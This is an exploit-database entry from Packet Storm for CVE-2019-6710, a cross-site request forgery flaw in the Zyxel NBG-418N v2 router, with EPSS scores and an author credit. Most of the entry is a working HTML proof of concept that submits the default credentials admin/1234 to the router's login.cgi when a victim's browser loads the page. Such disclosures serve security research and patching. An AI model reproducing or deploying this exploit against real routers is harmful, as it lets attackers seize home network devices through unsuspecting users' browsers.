Zyxel NBG-418N V2 Cross Site Request Forgery

2019-01-2400:00:00

Ali Can Gonullu

packetstormsecurity.com

0.013 Low

EPSS

Percentile

86.0%

JSON

`<!--  
# Exploit Title: Zyxel NBG-418N v2 Modem CSRF Exploit & PoC  
# Version: Zyxel NBG-418N v2 - V1.00(AAXM.6)C0  
# Tested on: Windows 10 x64  
# CVE : CVE-2019-6710  
# Author : Ali Can GAPnA1/4llA1/4  
# Twitter : @god3err  
  
Exploits :  
-->  
  
<html><head>  
<title>NBG-418N v2 Modem CSRF Exploit & PoC</title>  
</head><body>  
<form action="http://10.0.0.1/login.cgi" method="POST">  
<input type="text" name="username" id="username" value="admin" /><br />  
<input type="text" name="password" id="password" value="1234" /><br />  
<input id="loginBtn" onclick="return onlogin()" type='submit'   
value='Go!' />  
<input type="hidden" name="submit.htm?login.htm" value="Send">  
</form>  
</body></html>  
`

0.013 Low

EPSS

Percentile

86.0%

JSON

Related for PACKETSTORM:151330